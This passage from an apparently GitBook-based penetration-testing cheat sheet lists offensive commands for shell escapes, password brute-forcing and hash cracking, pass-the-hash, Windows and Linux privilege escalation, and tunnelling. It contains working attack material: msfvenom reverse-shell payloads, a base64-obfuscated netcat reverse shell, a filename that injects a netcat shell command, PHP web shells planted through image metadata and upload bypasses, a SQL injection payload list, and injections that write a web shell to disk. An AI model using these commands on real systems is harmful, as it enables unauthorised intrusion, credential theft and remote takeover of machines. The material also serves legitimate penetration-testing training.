lua: os.execute('/bin/sh') 
exec "/bin/sh"; 
/bin/bash -i
exec "/bin/sh"                # (From within IRB) 
:!bash                        # (From within vi)
:set shell=/bin/bash:shell    # (From within vi) 
!sh                           # (From within nmap) 
```

### Method:&#x20;

```
=================== On Kali ===================
CTRL+z                <--- place the netcat connection to background 
stty raw -echo        <--- on your terminal 
fg                    <--- bring back the terminal
stty -a               <--- make a note of rows, columns

=================== On Target ===================
export SHELL=bash 
export TERM=xterm256-color  OR  export TERM=xterm
stty rows 38             <--- from notes above.
stty columns 116         <--- from notes above.
```

**Python PTY Shells**

```
Clone the repo https://github.com/infodox/python-pty-shells.git

On kali:
1) Make changes to reflect your IP and PORT on tcp_pty_backconnect.py file
2) Pass this file to the target. 
3) python tcp_pty_shell_handler.py -b IP:PORT

On target:
1) python tcp_pty_backconnect.py
```

#### Escaping RBASH (Restricted Bash)

```
##############################################

ssh username@<IP-Adress> -t "bash --noprofile"

##############################################

vi
:set shell=/bin/bash
:shell

##############################################

cd /home
echo $SHELL
ed
!'/bin/bash'
pwd

##############################################

awk 'BEGIN {system("/bin/bash")}'
cd /home
cd ~
pwd

##############################################

perl -e 'system("/bin/bash");'
```


# Password Attacks

Various password attacks

## Password Attacks are based on:&#x20;

1. Guess
2. Brute-force
3. Dictionary

### Crunch&#x20;

```
man crunch 
ls -la /usr/share/crunch/charset.lst 

crunch 6 6 0123456789ABCDEF -o list.txt 
# Create a file of passwords 6 characters long using 0-F and save it to a file 

crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha -o mixedalpha.txt 
# 4 character passwords using pre-defined crunch list 

crunch 8 8 -t ,@@^^%%% |more 
# Similar to Abc$#123, Jud()666, Hol&&278 passwords
```

### PWdump/FGdump&#x20;

You need to have admin access to run those two commands.&#x20;

```
fgdump.exe 
# Run it. Dumps the hashes to a file to be used and cracked later 

type 127.0.0.1.pwdump 
# Access the contents of the file generated from fgdump.exe command
```

### WCE (Windows Credential Editor)&#x20;

Need admin access.&#x20;

```
wce64.exe -w 
# Run it. Dumps password in clear text
```

### John the Ripper&#x20;

```
john hashes.txt 
# Run it. Cracks the hash passwords on Kali Linux using dictionary brute-force attack(MAY TAKE LONG) 
```

### Password Profiling&#x20;

Using word/phrases for organisation and include them in our wordlist (e.g 33 Company uses thirtythree password combinations)&#x20;

```
Tool: cewl Create passwords from words/phrases

cewl www.domain.com -m 6 -w /root/domain-cel.txt 
# Will create a password txt for the domain
```

In combination with John the Ripper&#x20;

```
vi /etc/john/john.conf 
(ADD) $[0-9]$[0-9] 
john --wordlist=megacorp-cewl.txt --rules --stout > mutated.txt
```

### Brute force password attack on administrator.&#x20;

```
accesschk -v -t 10.10.10.10 -u administrator -P /usr/share/dirb/wordlists/common.txt
```

### Reference&#x20;

{% embed url="<http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats>" %}


# Passing the Hash

Pass the hash

### Passing the hash&#x20;

Authenticate by passing the hash as a password instead of cracking it.&#x20;

Replace the NOPASSWORD from the hashes with an empty LM hash: **aad3b435b51404eeaad3b435b51404ee**&#x20;

```
pth-(TAB to see Options) 

export SMBHASH=...........HASH.................        # Remove NO PASSWORD on the hashes with an NTLM Hash  

pth-winexe -U administrator% //10.10.10.10 cmd         # Log on to the target

OR (just run the following)

pth-winexe -U administrator%hash //10.10.10.10 cmd     # Log on to the target
```


# SAM/SYSTEM

#### Access to the SAM and SYSTEM?

```
secretsdump.py -sam SAM -system SYSTEM LOCAL
```

#### Crack with John

```
 john --format=NT hashes.txt
```


# Passwords

Passwords

### Recognize the passwords used.&#x20;

```
if the hash starts by $1$, MD5 is used;
if the hash starts by $2$ or $2a$, Blowfish is used;
if the hash starts by $5$, SHA-256 is used;
if the hash starts by $6$, SHA-512 is used.
```

#### Search for Hashes under kali.

```
hashcat --example-hashes
```


# Hydra

Hydra Brute Force

### RDP

```
hydra -t 4 -V -f -l administrator -P rockyou.txt rdp://10.10.10.10
    -t: number of tasks run in parallel
    -V: verbose
    -f: quit once correct credentials found
    -l: username
    -P: passwords on a file
```

### FTP

```
hydra -t 5 -V -f -L userlist -P passwordlist ftp://10.10.10.10
    -t: number of tasks run in parallel
    -V: verbose
    -f: quit once correct credentials found
    -l: username list
    -P: password list
```

### VNC

```
hydra -P passwordlist -t 1 -w 5 -f -s 5901 10.10.10.10 vnc -v
    -s: port to connect to
```

### SSH

```
hydra -l admin -P passwordlist ssh://10.10.10.10 -V
```

### MySQL

```
hydra -l root -P /usr/share/wordlists/rockyou.txt 10.10.10.10 mysql -t 4
```

### Web Login

```
hydra 10.10.10.10 -V -l admin -P passwordlist http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect.:H=Cookie: PHPSESSID=tjflbmwot3dqbj1ph3tmjchel2; security=low"
```

### Basic Authentication

```
hydra -l username -P /path/to/wordlist -f 10.10.10.10 http-get /directory
hydra -l username -P /path/to/wordlist -f 10.10.10.10 http-get -s 8080
```


# Medusa

Medusa Brute Force

### Examples

```
medusa -u root -P 500-worst-passwords.txt -h 10.10.10.10 -M ssh

medusa -h 10.10.10.10 -u root -P pass.txt -M ftp
medusa -H hosts.txt -U user.txt -P pass.txt -M ftp

medusa -H hosts.txt -U user.txt -P pass.txt -M ftp -T 1
medusa -H hosts.txt -U user.txt -P pass.txt -M ftp -T 2

medusa -h 10.10.10.10 -U user.txt -P pass.txt -M ssh
medusa -h 10.10.10.10 -U user.txt -P pass.txt -M ssh -n 2222

medusa -h 10.10.10.10 -U user.txt -P pass.txt -M ftp -O log.txt
```


# Ncrack

Ncrack Brute Force

### Examples

```
ncrack -p 22 --user root -P 500-worst-passwords.txt 10.10.10.10
ncrack -p ssh -u root -P 500-worst-passwords.txt -T5 10.10.10.10

ncrack -user msfadmin -P pass.txt 10.10.10.10:21
ncrack -U user.txt -pass msfadmin 10.10.10.10:21
ncrack -U user.txt -P pass.txt 10.10.10.10:21

ncrack -U user.txt -P pass.txt 10.10.10.10:21 -oN normal.txt
```


# Unshadow

Unshadow

### Unshadow

If you have found the passwd and shadow files under linux you can combine them on a file using **unshadow** command and then crack them using **John**.&#x20;

```
unshadow passwd.txt shadow.txt 
unshadow passwd.txt shadow.txt > unshadow.txt
john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadow.txt 
```


# Hashcat

Hashcat

```
# Hashcat SHA512 $6$ shadow file  
hashcat -m 1800 -a 0 hash.txt rockyou.txt --username

# Hashcat MD5 $1$ shadow file  
hashcat -m 500 -a 0 hash.txt rockyou.txt --username

# Hashcat MD5 Apache webdav file  
hashcat -m 1600 -a 0 hash.txt rockyou.txt

# Hashcat SHA1  
hashcat -m 100 -a 0 hash.txt rockyou.txt --force

# Hashcat Wordpress  
hashcat -m 400 -a 0 --remove hash.txt rockyou.txt
```


# John The Ripper

Crack passwords with johnTHEripper

**Basic Usage**

```
john hashfile.txt
john --wordlist=/path/to/your/wordlist.txt hashfile.txt
john --format=ntlm hashfile.txt
```

**ssh2john**

```
 Encrypted SSH private key found? Crack it with ssh2john
 
 1) ssh2john id_rsa > crack.txt
 2) john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt
 3) openssl rsa -in id_rsa
    Enter pass phrase for id_rsa: PASSWORD_HERE
```

**gpg2john**

```
Encrypted PGP file found? Crack it with gpg2john

gpg --import name.asc 
gpg2john name.asc > hash
john --format=gpg --wordlist=/usr/share/wordlists/rockyou.txt hash 
gpg --decrypt somecredentials.pgp        # Enter the password found above. 
```

**zip2john**

```
Encrypted ZIP file found? Crack it with zip2john

1) zip2john somezipname.zip > zipname.hash
2) john zipname.hash 
3) 7z e somezipname.zip
   Enter password (will not be echoed): PASSWORD_HERE
```

#### keepass2john

```
keepass2john some_pass_key.kdbx
```

#### rar2john

```
rar2john SOME_FILE.rar > crack_this
john --wordlist=/usr/share/wordlists/rockyou.txt crack_this
```


# fcrackzip

**fcrackzip**

```
fcrackzip -D -p /usr/share/wordlists/rockyou.txt some_zip_file.zip 
```


# Privilege Escalation

Gathering information for priv esc.

![Privilege Escalation RoadMap](https://1488133578-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LjzM44uZY9cQuwXn91h%2F-Ll2CQMB_396-wPKU8j4%2F-Ll2CUKgWsTJxPQY-1pe%2Fprivesc.jpg?alt=media\&token=4c0df20c-0648-4dc3-951e-5f36bf9e9fbc)


# Windows

Windows Privilege Escalation

#### Which Version?

```
ver
systeminfo
more c:\boot.ini
wmic os get osarchitecture
```

#### Computer name?

```
set computername
hostname
```

#### Share Drives?

```
wmic logicaldisk get caption,description,providername
net share
wmic share
net use
```

#### User Info

```
set username
whoami
whoami /priv
echo %username%
net users
wmic group
net localgroup
net localgroup administrators
qusers
qwinsta
wmic useraccount
```

#### Software Installed

```
tasklist
tasklist /svc
tasklist /fi “pid eq PID”
tasklist /fi “username eq USERNAME”
qprocess
driverquery /v
assoc
wmic sysdriver
wmic product
```

#### Networking

```
ipconfig /allcompartments /all
getmac
wmic nicconfig get description,IPAddress,MACaddress
route PRINT
netstat -ano
arp -a
nbtstat
wmic nicconfig get macaddress,caption
```

#### Firewall

```
netsh dump
netsh firewall show state
netsh firewall show config
netsh advfirewall firewall show rule name=all
netsh advfirewall export "firewallinfo.txt"
netsh advfirewall show currentprofile
```

#### Microsoft Update Catalog

<https://www.catalog.update.microsoft.com/>&#x20;


# Kernel Exploits

Missing patches etc.

**SystemInfo**

```bash
# Enumerate Windows Version
systeminfo
```

#### What is it installed?

```bash
wmic qfe get Caption,Description,HotFixID,InstalledOn

# Specific to patches
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3136041" /C:"KB4018483"
```

#### Windows Exploit Suggester

```bash
git clone https://github.com/AonCyberLabs/Windows-Exploit-Suggester.git
./windows-exploit-suggester.py --update
./windows-exploit-suggester.py --database 2019-10-15-mssb.xls --systeminfo systeminfo.txt
```

#### Sherlock

```bash
# Clone the repo with the following
git clone https://github.com/rasta-mouse/Sherlock.git

# On the command prompt run:
powershell -nop -ep bypass
Import-Module C:\path\to\Sherlock.ps1
Find-AllVulns
```


# Stored Credentials

Looking for passwords.

### Commands

{% code fullWidth="false" %}

```bash
C:\unattend.xml
C:\sysprep.inf
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

IIS
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config

Services\Services.xml
ScheduledTasks\ScheduledTasks.xml
Printers\Printers.xml
Drives\Drives.xml
DataSources\DataSources.xml

findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini

C:\> dir /b /s unattend.xml
C:\> dir /b /s web.config
C:\> dir /b /s sysprep.inf
C:\> dir /b /s sysprep.xml
C:\> dir /b /s *pass*
C:\> dir /b /s vnc.ini

dir /s *pass* == *cred* == *vnc* == *.config*
findstr /si password *.xml *.ini *.txt

dir /a-r-d /s /b
```

{% endcode %}

### Registry

```bash
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
```

### **SNMP**

```bash
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
```

### **Putty**

```bash
reg query" HKCU\Software\SimonTatham\PuTTY\Sessions"
```

### RealVNC

```bash
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
```

### PowerSploit

```bash
Get-UnattendedInstallFile
Get-Webconfig
Get-ApplicationHost
Get-SiteListPassword
Get-CachedGPPPassword
Get-RegistryAutoLogon
```


# Unquoted Service Path

### Search for Unquoted Path

The following command will search for all the paths except **"C:\windows"** since a normal user will not have executable permissions on this folder.&#x20;

```
##  Windows Management Instrumentation Command-Line (WMIC)  ##
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

##  WMI (Powershell) ##
Get-WmiObject win32_service | select Name,PathName,StartMode,StartName | where {$_.StartMode -ne "Disabled" -and $_.StartName -eq "LocalSystem" -and $_.PathName -notmatch "`"" -and $_.PathName -notmatch "C:\\Windows"} | Format-List
```

If a service is found with unquoted path check the permissions of the service with **icacls.** If we have permissions on any of the folders that leads to the executable then we can escalate our privileges.&#x20;

### Create an executable msfvenom payload&#x20;

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.20 LPORT=443 -f exe > /root/same_service_name_as_above.exe
```

### &#x20;Replace and restart service.&#x20;

```
sc stop service_name
sc start service_name
```

### Powersploit

Within powershell run the following.&#x20;

```
# Find them
Get-ServiceUnquoted

# Execure a reverse shell or adding new user as administrator.
Write-ServiceBinary -name "Service_Name" -Path "C:\Service_name.exe"
```


# Always Install Elevated

Always Install Elevated

### Check with:

```
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

From the output, notice that "**AlwaysInstallElevated**" value is **1**. This needs to be on both to be exploited.

### Steps:

```
# Generate payload to add user to admin group
msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f msi-nouac -o setup.msi

OR

# Create a reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f msi -o reverse.msi

# Run it on the target machine:
msiexec /quiet /qn /i setup.msi 
msiexec /quiet /qn /i reverse.msi        <--- Needs a netcat listener
```


# Weak Permissions

Weak Permissions

### Accept the eula first

```
C:\temp\accesschk.exe /accepteula
```

### Weak Service Permissions

```
C:\temp\accesschk.exe /accepteula -uwcqv user daclsvc
```

### Weak File Permissions

```
C:\temp\accesschk.exe /accepteula -uwdq "C:\Program Files\Some Unquoted Service\"
```

### Registry

```
C:\temp\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc
```

### Service Executable

```
C:\temp\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"
```


# Schedule Tasks

### List all schedule tasks

```
schtasks /query /fo LIST /v

# In Powershell
Get-ScheduleTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPAth,State
```


# AutoRun Executables

### List of the registry for AutoRun executables

```
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
```


# Startup Apps

#### Check the Startup Apps

```
C:\temp\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
```


# Passwords

#### Searching for passwords

```
reg query HKLM /f password /t REG_SZ /s
```

#### Searching for last user's password upon login

```
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
```

#### List any saved credentials:

```
cmdkey /list

######## If passwords saved try to get a reverse shell ########
runas /savecred /user:admin C:\PrivEsc\reverse.exe
```


# Win PrivEsc Tools

{% hint style="info" %}
Tools for Privilege Escalation
{% endhint %}

| Name                          | Link                                                                                            |
| ----------------------------- | ----------------------------------------------------------------------------------------------- |
| **WinPeas**                   | <https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS> |
| **Powerless**                 | <https://github.com/M4ximuss/Powerless>                                                         |
| **Windows Exploit Suggester** | <https://github.com/AonCyberLabs/Windows-Exploit-Suggester>                                     |
| **PowerUp**                   | <https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc>                            |


# Linux

Linux Privilege Escalation

#### Who am I?

```
id
whoami
last
history
env
who
w
last
```

#### Network Info

```
netstat -antup
ifconfig
lsof -i
arp -a
```

#### Processes

```
ps aux 
top
```


# Kernel Exploits

Kernel Exploits

Check for Kernel exploits command(s)

```bash
uname -a 
cat /etc/issue
cat /etc/*release
cat /proc/version
ls /boot | grep "vmlinuz"
lsb_release -a
```

Search for exploits (searchsploit, google, exploitDB and github)

```bash
searchsploit

Examples:
searchsploit kernel 2.6 linux | sort -n        
searchsploit linux kernel 2.6.30 priv esc  
searchsploit linux kernel 2.6 ubuntu priv esc        
```

**Tools:** Linux Exploit Suggester - <https://github.com/mzet-/linux-exploit-suggester>


# Service Exploits

### Services running as root.&#x20;

```bash
ps aux ~grep "^root"
```

### Versions

```bash
program_name --version
program_name -V

Debian:
dpkg -l | grep program_name

RedHat:
rpm --qa | grep program_name
```


# PATH Variable

Exploiting Path Variable

### Execute PATH variable permission.&#x20;

```bash
# Get the strings command to get the runtime calls
strings /path/to/binary

# Create the executable within /tmp dir
echo "/bin/bash" > "command"

# Give executable permissions
chmod +x "command"

# Amend the PATH env
export PATH=/tmp:$PATH

# Execute it
It will trigger the one within /tmp we created.
```


# SUID/GUID files

Abusing suid/guid files

Find those files.

```bash
find / -perm -u=s -type f 2>/dev/null

Where:
find        : Initiates the "find" command
/           : Search the whole file system
-perm       : Search for files with specific permissions
-u=s        : Any of the permission bits mode are set for the file.
-type f     : Only search for files
2>/dev/null : Suppresses errors
```


# CronJobs

### Cronjobs

```bash
cat /etc/cron.d/*
cat /var/spool/cron/*
crontab -l
cat /etc/crontab
cat /etc/cron.(time)
systemctl list-timers
```


# Sudo

### SUDO

```bash
sudoers 
OR 
cat /etc/sudoers

## Check who can run sudo
sudo -l

## Run a program using sudo
sudo program_name

## Run a program with a specific user
sudo -u username program_name
```


# Custom Executable

### Compile a custom executable

```c
######## Code ########
int main() {
    setuid(0);
    system("/bin/bash -p");
}

######## Compile ########
gcc -o myfile myfile.c
```


# Linux PrivEsc Tools

PrivEsc tools

{% hint style="info" %}
Tools for Privilege Escalation
{% endhint %}

| *Name*                      | *Link*                                                                                          |
| --------------------------- | ----------------------------------------------------------------------------------------------- |
| **LinEnum**                 | <https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh>                                  |
| **Linux Exploit Suggester** | <https://github.com/mzet-/linux-exploit-suggester>                                              |
| **Linux Priv Checker**      | <https://github.com/sleventyeleven/linuxprivchecker/blob/master/linuxprivchecker.py>            |
| **Linux Smart Enumeration** | <https://github.com/diego-treitos/linux-smart-enumeration>                                      |
| **LinPeas:**                | <https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS> |


# Port Forwarding

Simple port forwarding tricks

***Main Concept:*** Accept traffic on a given IP and then redirect to another IP, PORT

### Scenario

A windows box wants to connect to an external device using RDP but due to the firewall restrictions it cannot.

We can set up a **proxy** on Linux box to bypass this:

```
vi /etc/rinetd.conf
(ADD) bindaddress                               bindport   connectaddress                   connectport
      local/public IP on kali (208.88.127.99)   80         External IP we want to connect   3389
/etc/init.d/rinetd restart
# Connect from windows to the external IP using RDP with 208.88.127.99:80
```

Investigate sockets running on the target

```
ss -tulpn

-t:	Display TCP sockets
-u:	Display UDP sockets
-l:	Displays only listening sockets
-p:	Shows the process using the socket
-n:	Doesn't resolve service names
```

### Chisel

```
### On Windows Target ###
chisel_windows.exe client KALI_IP_BOX:9002 R:14147:localhost:14147

### On Kali ###
./chisel_linux server --reverse --port 9002
```

#### Download Chisel from [here](https://github.com/jpillora/chisel/releases)

### plink

```
On Target:
.\plink.exe root@KALI_IP -R 445:127.0.0.1:445

On Kali:
winexe -U ‘admin%password123’ //127.0.0.1 cmd.exe
```


# Tools / Techniques

Various tools used.

This is by no means a comprehensive list.&#x20;

```
Wireshark	 		            -	Packet Sniffer GUI
tcpdump		 		            -	Packet Sniffer CLI
theharvester	 		        - Find emails, usernames 
recon-ng		 		          -	Full-featured web reconnaissance framework. 
whois		 		              -	Client for the whois directory service
host			 		            -	DNS lookup utility
dig			 		              -	DNS lookup utility
dnsrecon		 		          -	DNS Enumeration and Scanning Tool
dnsenum		 		            -	DNS Enumeration
nmap		 		              -	Port Scanning
nbtscan		 		            -	Program for scanning networks for NetBIOS name information
smbclient	 			          -	FTP-like client to access SMB/CIFS resurces on servers
rpcclient		 		          -	Tool for executing client side MS-RPC functions
enum4linux	 		          -	Enumeration Tool values using SNMP GETNEXT requests
snmpwalk	 		            -	Retrieve a subtree of management
snmp-check	 		          -	SNMP Device enumeration
onesixtyone	 		          -	Easy SNMP Scanner

OpenVas		 		            -	Vulnerability Scanner
Nessus		 		            -	Vulnerability Scanner
dirbuster		 		          -	Directory Finder
dirb			 		            -	Directory Finder
gobuster		 		          -	Directory Finder
nikto		 		              -	Scan web server for known vulnerabilities

Immunity Debugger		      -	Debugger in Windows helping understand how a program executes and understanding low level programming.
Evans Linux Debugger	    -	Debugger in Linux 
msfvenom	 		            -	Generation of shellcode
tftp			 		            -	Transfer files with TFTP
FTP			 		              -	Transfer files with FTP
debug.exe 	 		          -	Assembler, disassembler and a hex dumping tool
upx			 		              -	PE compression tool, executable packer for Linux. 
exe2bat		 		            -	Conversion process
sqlmap		 		            -	Automatic SQL Injection tool
crunch		 		            -	Generate wordlists from a character set
fgdump.exe	 		          -	Get the hashes from a system (can only be used once admin)
pwdump.exe	 		          -	Get the hashes from a system (can only be used once admin)
wce.exe		 		            -	Attacks to obtain the passwords in clear text.  (can only be used once admin)
John the Ripper		        -	A tool to find weak passwords of your users.
pth-			 		            -	Pass the hash attacks. Use hash to login instead of a clear text password.
cewl		 			            -	Custom word list generator	
medusa		 		            -	Parallel Network Login Auditor
ncrack		 		            -	Network authentication cracking tool
hydra		 		              -	A very fast network logon cracker which support many different services.
hash-identifier 		      -	Guess the algorithm used on hashes
unshadow	 			          -	Combine password and shadow files

rinetd		 		            -	Simple Port-Forwarding tool
ssh			 		              -	SSH Tunneling
HTTPS		 		              -	HTTPS Tunneling
msfconsole	 		          -	MSF framework
Hyperion		 		          -	Packers/Crypters
oclHashcatPlus			      -	Hash cracker for salt passwords.
gpp-decrypt	 		          -	Decrypt hashes
wpscan                    - Wordpress Security Scanner
```


# General Check List

### General Checklist

* Check **default passwords.**
* Check **versions of services.**
* Try more than one file while **directory brute-forcing** (i.e. /usr/share/wordlists/dirb/big.txt, /usr/share/wordlists/dirbuster/apache-user-enum-2.0.txt, /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt)
* Once inside a CMS or site **check every single page**.
* **bash vs sh**. Try both when doing privesc. One does not mean the other.&#x20;
* **SEARCH EVERYTHING**.....even if it seems silly!!!! (i.e photos) Check even CSS files.
* **Check other exploits** too if there are available. Do not stuck on one. It may say version 2.4 and the exploit with version 2.5 will work too.&#x20;
* **Enumerate subdomains** if you are getting nothing.
* Check the **/opt** and **/var** directories.
* Intercept **traffic with BurpSuite** if you are stuck.
* If you believe there is no other way in (i.e. have found one), then just **stick with it** and search search search for it.
* Run more than one **privesc scripts** (LinEnum, lse.sh, peas etc)
* If you see <http://10.10.10.10/index.php/> **run gobuster/dirsearch against it**. It may reveal a URL as <http://10.10.10.10/index.php/admin/>
* Read the code. It is on the details what it needs to be done/change. **Just read the code!!!**
* Try all of them **shell\_exec, system, exec** to be sure.
* If credentials are not working and you are sure it should, then **revert the box**. Might have crashed the box somehow along the way.
* If you are 100% sure the exploit is the one you are looking and it is not working, **try 64 bit or 32 bit**. Depends the architecture of the box.
* If there is a redirection to the page....after installing **NoRedirect** plugin on Firefox....add the page to **NOT redirect it**. Also intercept the traffic with BurpSuite to see where this goes.
* **Execute commands manually**. Sometimes you miss it when running automate scripts.
* Search and spend some time with **LFI/URL parameters**
* Running out of ideas? **Brute-Force** may be the last option. (use different lists and not only rockyou.txt)

**As a general rule:**&#x20;

> One finding leads to the next. (e.g. found a file? this will lead you to the next step)


# Misc. Commands

Miscellaneous Commands

#### Decode base64/58

```
echo -n ........base64here........ | base64 -d
echo -n ........base64here........ | base58 -d
```

#### Windows hidden files

```
dir /a     ---> should show hidden folders.
dir /a:d  ---> shows all directories.
dir /a:h  ---> shows all hidden files.
```

#### PWD command for Windows

```
<?php
echo shell_exec("echo %cd%");
?>
```

#### shell\_exec() VS system() VS exec()

```
shell_exec — Execute command via shell and return the complete output as a string
system     — Execute an external program and display the output
exec       — Execute an external program

# More info here:
https://www.php.net/manual/en/function.exec.php 
https://www.php.net/manual/en/function.system.php
https://www.php.net/manual/en/function.shell-exec.php
```

#### List VHD with 7z

```
7z l filename.vhd
```

#### Use PSExec to login to the target.&#x20;

```
Located in:
/usr/share/doc/python-impacket/examples/psexec.py

Execute:
python psexec.py administrator@10.10.10.10
```

#### Use Evil-Winrm to login to the target

```
ruby evil-winrm.rb -i 10.10.10.10 -u username -p 'password_here'
```

#### Database dump

```
sqlite3 name_of_the_db.db .dump
```

#### Setting PATH

```
export PATH="/bin:/sbin:/usr/bin:/usr/sbin:$PATH"
```


# Steganography

Steganography tools

### StegHide

```
steghide info image.jpg
steghide extract -sf image.jpg
```

### Stegcracker

```
stegcracker image.jpg rockyou.txt
```

### ExifTool

```
exiftool image.jpg
```

### Binwalk

```
binwalk -e image.png 
binwalk -Me image.png

-e: Extract known  file types
-M: Extract recursively
```

### Extract from image

```
7z e name.zip 

Enter password when asked. 
```


# Evasion Techniques

Evasion

**If "cat" command is not available on the box, try the following.**

```
c"a"t
ca``t
ca\t    
$(id)
;cat
||cat
&& cat
|`echo "bmMgMTAuMTAuMTAuMTAgNTMgLWUgL2Jpbi9iYXNo" | base64 -d`   
    bmMgMTAuMTAuMTAuMTAgNTMgLWUgL2Jpbi9iYXNo: nc 10.10.10.10 53 -e /bin/bash
```

**GET parameter**

```
# Place between ` ` 
http://IP:PORT/something?parameter=`ls`        
http://IP:PORT/something?parameter=`whoami`
```

**Exiftool**

```
Download an image and then:
1) exiftool -DocumentName="<?php echo '<h1>Something</h1>'; if(isset(\$_REQUEST['cmd'])) {echo '<pre>'; \$cmd=\$_REQUEST['cmd']; system(\$cmd); echo '</pre>'; } _halt_compiler(); ?>" index.jpg
or
2) exiftool -Comment="<?php passthru(\$_GET'cmd'); _halt_compiler();" index.jpg
```

**Using BurpSuite**

```
Content-Disposition: form-data; name="image"; filename="shell.php5"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>

======================================================================
Content-Disposition: form-data; name="image"; filename="shell.jpg.php"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>

======================================================================
Content-Disposition: form-data; name="image"; filename="shell.php"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>
```

#### Name Injection

```
 touch ';nc my_ip_address 1337 -c bash'
```

**Unrestricted File Upload**

{% embed url="<https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload>" %}

#### File Filtering Upload

```
Extension Validation
File Type Filtering
    - MIME
    - Magic Number    https://en.wikipedia.org/wiki/List_of_file_signatures 
File Length Filtering
File Name Filtering
File Content Filtering
```

#### Link

[PHP Type Juggling and Authentication Bypass](<https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf >)


# SQL Injection Payloads

**SQL Injection Payloads**

```
<>"'%;)(&+
|
!
?
/
//
//*
'
' -- 
1 or 1=1
1;SELECT%20*
1 waitfor delay '0:0:10'--
'%20or%20''='
'%20or%201=1
')%20or%20('x'='x
'%20or%20'x'='x
%20or%20x=x
%20'sleep%2050'
%20$(sleep%2050)
%21
23 OR 1=1
%26
%27%20or%201=1
%28
%29
%2A%28%7C%28mail%3D%2A%29%29
%2A%28%7C%28objectclass%3D%2A%29%29
%2A%7C
||6
'||'6
(||6)
%7C
a'
admin' or '
' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));
' and 1 in (select var from temp)--
anything' OR 'x'='x
"a"" or 1=1--"
a' or 1=1--
"a"" or 3=3--"
a' or 3=3--
a' or 'a' = 'a
&apos;%20OR
' having 1=1--
hi or 1=1 --"
hi' or 1=1 --
"hi"") or (""a""=""a"
hi or a=a
hi' or 'a'='a
hi') or ('a'='a
'hi' or 'x'='x';
insert
like
limit
*(|(mail=*))
*(|(objectclass=*))
or
' or ''='
 or 0=0 #"
' or 0=0 --
' or 0=0 #
" or 0=0 --
or 0=0 --
or 0=0 #
' or 1 --'
' or 1/*
; or '1'='1'
' or '1'='1
' or '1'='1'--
' or 1=1
' or 1=1 /*
' or 1=1--
' or 1=1-- 
'/**/or/**/1/**/=/**/1
‘ or 1=1 --
" or 1=1--
or 1=1
or 1=1--
 or 1=1 or ""=
' or 1=1 or ''='
' or 1 in (select @@version)--
or%201=1
or%201=1 --
```

**SQL Injection Commands**

```
# sql vulnerability exist
?id=1'

# number of columns
?id=1 order by 9 -- -

# Find space to output db
?id=1 union select 1,2,3,4,5,6,7,8,9 -- -

# Get username of the sql-user
?id=1 union select 1,2,3,4,user(),6,7,8,9 -- -

# Get version
?id=1 union select 1,2,3,4,version(),6,7,8,9 -- -

# Get all tables
?id=1 union select 1,2,3,4,table_name,6,7,8,9 from information_schema.tables -- -

# Get all columns from a specific table
?id=1 union select 1,2,3,4,column_name,6,7,8,9 from information_schema.columns where table_name = 'users' -- -

# Get content from the users-table. From columns name and password. (0x3a creates a delimiter between name and password)
?id=1 union select 1,2,3,4,concat(name,0x3a,password),6,7,8,9 FROM users

# read file
?id=1 union select 1,2,3,4, load_file('/etc/passwd') ,6,7,8,9 -- -
?id=1 union select 1,2,3,4, load_file('/var/www/login.php') ,6,7,8,9 -- -

# create a file and check if really exist
?id=1 union select 1,2,3,4,'this is a test message' ,6,7,8,9 into outfile '/var/www/test' -- -
?id=1 union select 1,2,3,4, load_file('/var/www/test') ,6,7,8,9 -- -
	
# create a file to get a shell
?id=1 union select null,null,null,null,'<?php system($_GET[‘cmd’]) ?>' ,6,7,8,9 into outfile '/var/www/shell.php' -- -
?id=1 union select null,null,null,null, load_file('/var/www/shell.php') ,6,7,8,9 -- -

# then go to browser and see if you can execute commands
http://<ip_address>/shell.php?cmd=id

# Save file using UNION
' UNION SELECT ("<?php echo passthru($_GET['cmd']);") INTO OUTFILE 'C:/xampp/htdocs/cmd.php'  -- -'
```


# LFI / RFI

Interesting Files for LFI

